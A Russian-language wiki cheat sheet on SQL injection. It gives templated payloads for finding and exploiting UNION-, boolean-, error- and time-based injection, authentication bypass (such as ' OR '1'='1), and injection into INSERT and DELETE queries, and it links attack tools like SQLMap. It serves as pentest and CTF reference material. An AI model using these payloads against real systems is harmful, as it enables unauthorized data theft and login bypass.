Sqlinj

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск


Вводная

Кратко: возможность запускать произвольные SQL запросы в базу данных. Статья распределена на то, как найти уязвимость и как ее проэксплуатировать.

Как задетектить

SELECT

UNION-Based

Определение типа кавычки

1. Найти точку ввода данных

2. Найти параметр, который возвращает какое-либо из значений.

3. Определить тип кавычки (в каком из вводов будет возвращаться то же значение)

 1  
 2 {параметр} aNd 1=1
 3 {параметр}	aNd	1=1
 4 {параметр}/**/aNd/**/1=1
 5 {параметр} -- {\n} aNd 1=1
 6 
 7 {параметр}' aNd '1'='1
 8 {параметр}'	aNd	'1'='1
 9 {параметр}'/**/aNd/**/'1'='1
10 {параметр}' -- {\n} aNd '1'='1
11 
12 {параметр}" aNd "1"="1
13 {параметр}"	aNd	"1"="1
14 {параметр}"/**/aNd/**/"1"="1
15 {параметр}" -- {\n} aNd "1"="1

(Если сработал первый пример, то {кавычка}==={пустое место} :)


Знак комментария и количество скобок

После попытаться определить тип комментария и количество закрывающихся скобочек (обычно их не больше 3):

1 {параметр}{кавычка} -- 1
2 {параметр}{кавычка}) -- 1
3 {параметр}{кавычка})) -- 1
4 {параметр}{кавычка})...) -- 1
5 
6 {параметр}{кавычка} # 1
7 {параметр}{кавычка}) # 1
8 {параметр}{кавычка})) # 1
9 {параметр}{кавычка})...) # 1

Подбор количества колонок

GROUP BY

Есть у MySQL,(добавить).

Возвращает данные, если колво колонок меньше или равно N (бинарным поиском).

1 {параметр}{кавычка}{скобочки} GROUP BY {N} {комментарий}


ORDER BY

Есть у MySQL,(добавить).

Аналогично GROUP BY.

Bruteforce
1 {параметр}{кавычка}{скобочки} UNION SELECT null,...,null {комментарий}
2 {параметр}{кавычка}{скобочки} UNION SELECT Null,...,Null {комментарий}
3 {параметр}{кавычка}{скобочки} UNION SELECT NULL,...,NULL {комментарий}

Также в некоторых случаях перед комментарием надо будет добавить имя существующей таблицы:

1 FROM dual

Итоговый запрос

Суть заключается в том, что вы можете сделать select запрос в произвольную доступную таблицу и получить результат, но уже в другом поле.

Стоит упомянуть, что тут ужлучше всего использовать такой параметр, который будет заведомо ложным и ничего не вернет.

1 {параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}

Обратить внимание

В некоторых случаях нужно будет добавить в конец запроса перед комментарием лимит по выводу (зависит от скрипта обработки ответа БД).

1 LIMIT 1
2 LIMIT 0,1
3 WHERE ROWNUM=1


Также при эксплуатации в определенных СУБД нельзя делать UNION колонок разных типов, поэтому надо будет экспериментировать.



Boolean-Based

Суть заключается в том, что в зависимости от возвращения результата сервера мы будем определять успешно ли выполнился наш запрос.

Вставка в конструкцию WHERE

Определение типа кавычки

Смотри соответствующую графу в UNION-Based.


Подтверждение

На всякий случай подтвердим, как будет выглядеть итоговый запрос

1 {параметр}{кавычка} AND {кавычка}1{кавычка}={кавычка}1

А далее остается добавить ваше условие:

1 {параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1

Теперь можно хоть делать приведение типов и по 1 букве перебирать значение результата запроса.

Подробнее про эксплуатацию уже зависит от СУБД (ссылки идут ниже на странице).

Вставка в конструкцию ORDER BY

Суть в том, что после ORDER BY мы не можем использовать техники, предоставленные ранее (тк параметры, идущие далее обозначают по какой колонке будет идти сортировка), поэтому придется извращаться следующим образом (пример для mysql):

1 {параметр}{кавычка},(select case when (1=1) then 1 else 1*( {запрос} )end)=1{комментарий}

В зависимости от результата запроса нам либо вернутся данные, либо не вернутся из-за ошибки в запросе.

P.S. В запросе можно попытаться также раскрутить time-based sql injection.

Особенности

Если букв, то лучше всего реализовать бинарный поиск, используя функции, аналогичные CONCAT, ASCII, CHR и тд.

Если целое число, то то же самое, но без функций.


Error-Based

Возможность использовать специальные функции, возвращающие в видимой нам ошибке stderr уже преобразованный аргумент. Начинается эксплуатация так же, как и UNION-Based или Boolean-Based (зависит от того, получится ли раскрутить слепую UNION).

В случае с Blind-UNION

Это когда смог подобрать количество колонок, но не видишь свои поля на экране.

Но! Cтоит заметить, что чаще всего такое происходит из-за того, что введенное значение до первой кавычки нашлось в базе данных, поэтому надо экспериментировать с добавлением AND 1=0 перед словом UNION.

Запрос с UNION выглядит следующим образом:

1 {параметр}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую} {комментарий}

Остается в одну из колонок {колонки_через_запятую} подставить функцию, вызывающую ошибку обработки аргумента (то есть нашего запроса).


В случае с Boolean-Based

Общий запрос Boolean-Based выглядит, как:

1 {параметр}{кавычка} AND {условие} AND {кавычка}1{кавычка}={кавычка}1

Так вот вместо условия аналогично предыдущему пункту требуется подставить функцию, вызывающую ошибку обработки аргумента-запроса.


Time-Based

Поиск параметров

В случае с Time-Based требуется угадывать два параметра за раз:

    1. Подбор типа кавычки (см. Union-Based)
    2. Подбор функции задержки времени

Если первый пункт вы можете посмотреть на Union-Based, то со вторым уже требуется составить новый список:

1 SLEEP(time)
2 BENCHMARK(количество_повторений_запроса, запрос) //надо ставить большое количество повторений
3 waitfor delay '00:00:10'
4 dbms_lock.sleep(5)

Запрос во время подбора будет выглядеть как:

1 {параметр}{кавычка} AND {задержка_времени} AND {кавычка}1{кавычка}={кавычка}1

После чего на место {задержка_времени} будет подставлен сложный запрос, где в зависимости от результата будет запускаться функция задержки времени.

Подробнее на определенных страницах СУБД (ниже ссылки).

Особенности эксплуатации

В некоторых случаях типа OracleDB и IBM DB2 требуется делать сложный запрос в качестве задержки времени, так что если не сработало, то проверьте ссылки эксплуатаций в отдельных СУБД (внизу страницы).


Auth

Отдельно вынес раскрутку SELECT sql injection при авторизации тк тут добавляется новый вектор для атаки. Эксплуатация где то будет пересекаться с Union/Blind-Based SQL injection, так что заранее ознакомьтесь с соответствующими пунктами.

Задача раскрутки заключается в авторизации под произвольным пользователем.

Уязвимо поле login

Для поля Login запрос будет выглядеть следующим образом:

Если отправляются сразу два поля Login и Password
1 {логин}{кавычка}{скобки}{комментарий}

Тогда наш запрос не будет содержать второго условия и успешно вернет строку с нужным логином.

Если отправляется только поле Login

См. раскрутку Union-Based.

1 {случайная_строка}{кавычка}{скобочки} UNION SELECT {колонки_через_запятую}{комментарий}

После чего потребуетсят определить, как хранятся пароли в базе данных и под какими номерами идут колонки Login и Password, после чего вставить требуемый логин и пароль в соответствующие колонки {колонки_через_запятую}.

(Сложно! Сложно! Ничего не понятно!)

Уязвимо поле password

Для поля Password запрос будет выглядеть следующим образом:


1 {случайная_строка}{кавычка} OR {кавычка}1{кавычка}={кавычка}1

Тогда у нас будет условие, которое всегда выполнится и вернет строку из базы данных.

P.S. У поля password должно отсутствовать хеширование, иначе ввод данных пропадет.

Добавление Backslash в первое поле

Чаще всего отсутствие экранирования встречается в тасках на Auth sql injection.

Для этого нужны пять условий:

    1. Отсутствие экранирования backslash в первом условии SQL запроса ( "\" -> "\\" )
    2. Возможность редактирования ввода второго запроса.
    3. Одинаковые типы кавычек у первого и второго условий.
    4. Отсутствие кодирования/хеширования у второго параметра.
    5. Отправляется один SELECT запрос с двумя условиями login='...'  AND password='...'

Большинство из этого придется угадывать.

Запрос для первого параметра (обычно это Login) примет вид:

1  {случайная_строка}\

Запрос для второго параметра (обычно это Password) примет вид:

1  {скобочки} OR 1=1 {функция_лимита_по_номеру_строки_в_таблице}{комментарий}

{функция_лимита_по_номеру_строки_в_таблице} - список функций есть в пункте UNION-Based (Обратить внимание).


INSERT

Задача Insert SQL Injection сводится к записи в таблицу базы данных результат произвольного запроса.

Опять же много угадываний, запрос будет выглядеть как:

1 {параметр}{кавычка}{колонки_через_запятую}){комментарий}

А если вдруг у нас колонки после уязвимой не совпали по типам (в колонку с int не вписать строку), то запрос может выглядеть, как:

1 {параметр}{кавычка}{колонки_через_запятую}),({колонки_через_запятую}){комментарий}

В данном случае мы делаем вставку сразу двух строк в таблицу, что позволяет нам манипулировать всеми полями.

После чего за место одной из подставляемых колонок можно будет сделать SELECT запрос (в том числе time-based).

Особенности

Все зависит от вектора атаки. В одних случаях надо добавить специального админа в таблицу, в других просто прочитать данные из базы. Универсального варианта эксплуатации нет.

DELETE

Опасный запрос, в случае чего может удалить лишние строки из таблицы.

Поэтому самым лучшим вариантом будет запрос time-based:

1 {случайная_строка}{кавычка}{скобочки} and ({time-запрос}){комментарий}

Но также возможен еще один вариант (нужно быть увереным в его надежности). Задача в том, чтобы создавать поле в таблице и по его наличию после каждого из запросов определять, завершился ли корректно запрос. То есть перевести на Boolean-Based SQL injection.

Запрос будет выглядеть, как:

1 {фильтр_по_нашему_добавленному_значению}{кавычка} and 1=({bool-запрос}) and {кавычка}1{кавычка}={кавычка}1

UPDATE

EXEC

Как проэксплуатировать

Общее

MySQL

MySQL СУБД

OracleDB

Oracle СУБД

PostgreSQL

PostgreSQL СУБД

SQLite

SQLite СУБД

IBM DB2

IBM DB2 СУБД

Ссылки

Nicholas: https://github.com/client9/libinjection/blob/master/data/sqli-rsalgado-bhusa2013.txt


 Мануал на Рдот - один из лучших.

https://rdot.org/forum/showthread.php?t=124


TOOLS 

SQLMap (crossplatform)

Havij (win)

http://sqlninja.sourceforge.net/sqlninja-howto.html

https://code.google.com/p/bsqlbf-v2/

https://github.com/Neohapsis/bbqsql